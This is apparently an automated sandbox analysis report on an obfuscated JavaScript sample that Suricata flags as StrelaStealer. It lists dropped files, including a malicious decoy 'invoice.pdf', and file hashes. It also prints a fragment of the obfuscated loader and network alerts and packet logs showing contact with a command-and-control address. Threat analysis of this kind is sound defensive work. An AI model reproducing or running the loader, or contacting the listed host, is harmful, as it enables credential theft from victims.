Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\ee246fb0-5240-42db-a822-66085258dcc6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZ7wYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs03WLaGZw
MD5:	8B9FA2EC5118087D19CFDB20DA7C4C26
SHA1:	E32D6A1829B18717EF1455B73E88D36E0410EF93
SHA-256:	4782624EA3A4B3C6EB782689208148B636365AA8E5DAF00814FA9AB722259CBD
SHA-512:	662F8664CC3F4E8356D5F5794074642DB65565D40AC9FEA323E16E84EBD4F961701460A1310CC863D1AB38849E84E2142382F5DB88A0E53F97FF66248230F7B9
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16145), with CRLF line terminators
Entropy (8bit):	4.931410923060167
TrID:
File name:	24667857242018421.js
File size:	19'693 bytes
MD5:	410b3a7a72d3c17367ecb5c36d4fb55d
SHA1:	0f52d794c46caef80ab7fb2957648bab40c3283e
SHA256:	badcd4bc5f90bd68a43c7734968f4db33cc2f701d1d61eacf918835c18db879f
SHA512:	17c039c73fb0426e172b6efca05803b72d62d91863e0f620a499f5ed759380083449743a64177d9fc9a168c0a12746fbdc4382442d66d5ee52444c4f720a6e14
SSDEEP:	192:1xaadKUmFm6WN8YyqVUwUPUXUsUjl/kao2zxM+mbJKdIcLKPbLMj3FTOjpaBUGy5:z/dKUCmUYyqV7Mkv86BaId1aBjMgP2Qk
TLSH:	349242C99D0077D885E080B4197A7B61F9F946FC82E8A47DC461248C77A66F0B2F2DF5
File Content Preview:	function jqffgulm(){ksrzgx=[1031,3079,5127,4103,2055,3072];var imetoh=this[qwhmkx+gpvmjqh+egzjghrms+qqtargzcj+jxxcc+jgpstbp+hxqgyqnmq+whfov](this[tbtemos+fexmg+mrihgjhd+egzjghrms+djchcro+qwhmkx+whfov][kwkfyp+egzjghrms+jxxcc+gpvmjqh+whfov+jxxcc+wqqtxx+zzvm

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T04:08:56.884159+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T04:08:56.884159+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T04:08:59.356786+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 04:08:56.099293947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:56.104171038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:56.104252100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:56.109610081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:56.114337921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:56.884063959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:56.884090900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:56.884140968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:56.884159088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:56.884161949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:56.884177923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:56.884196043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:56.884324074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:56.884340048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:56.884354115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:56.884370089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:56.884375095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:56.884385109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:56.884423971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:56.888989925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:56.889040947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:56.889100075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:56.926867008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:56.926891088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:56.926969051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.005964041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.005985022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.006012917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.006026030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.006066084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.006115913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.006155014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.006191969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.006210089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.006247044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.006540060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.006572008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.006587029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.006612062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.006627083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.006959915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.007011890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.007028103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.007067919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.007112026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.007127047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.007164001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.008006096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.008022070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.008047104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.008061886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.008060932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.008078098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.008080006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.008125067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.008517027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.008552074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.008567095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.008596897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.008685112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.010133982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.058252096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.058276892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.058295012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.058341980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.094521999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.098203897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.128035069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.128073931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.128129959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.128166914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.128165007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.128202915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.128232956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.128283024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.128339052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.128375053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.128391981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.128408909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.128428936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.128676891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.128729105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.128731012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.128767014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.128833055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.128861904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.128890038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.128933907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.129139900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.129194975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.129229069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.129275084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.129365921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.129401922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.129450083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.129507065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.129542112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.129573107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.129579067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.130108118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.130137920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.130165100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.130199909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.130213976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.130331039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.130366087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.130383015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.130408049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.130445004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.130450010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.130512953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.131191015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.131226063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.131239891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.131263018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.131331921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.131367922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.131402969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.131413937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.131434917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.131469965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.131484985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.131505966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.132101059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.132152081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.132157087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.132191896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.132237911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.132308960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.132344007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.132359028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.132378101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.134129047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.146641016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.146671057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.146724939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.146760941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.146771908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.150152922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.170687914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.170741081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.170809031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.183043957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.183098078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.183142900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.183175087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.216670990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.216717958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.216811895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.249974966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.250017881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.250075102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.250112057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.250114918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.250148058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.250159979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.250211000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.250242949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.250277996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.250298977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.250313997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.250349998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.250360966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.250391960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.250422955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.250427008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.250547886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.250600100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.250601053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.250636101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.250679016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.250730991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.250765085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.250772953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.250798941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.250840902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.250951052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.251003027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.251040936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.251076937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.251204014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.251239061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.251272917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.251281977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.251307011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.251311064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.251362085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.251394033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.251404047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.251429081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.251470089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.251741886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.251776934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.251811028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.251852036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.251884937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.251918077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.251935959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.251959085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.251977921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.252005100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.252057076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.252091885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.252098083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.252127886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.252171993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.252278090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.252563000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.252598047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.252633095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.252643108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.252670050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.252768040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.252800941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.252835035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.252840042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.252871037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.252914906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.252953053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.252985001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.253019094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.253051996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.253057003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.253146887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.253187895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.253479958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.253520012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.253531933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.253566980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.253607035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.253642082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.253678083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.253717899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.253787041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.253820896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.253854036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.253889084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.253896952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.253921986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.253926992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.253958941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.253993034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.253999949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.254458904 CET	80	49704	193.143.1.205	192.168.2.5
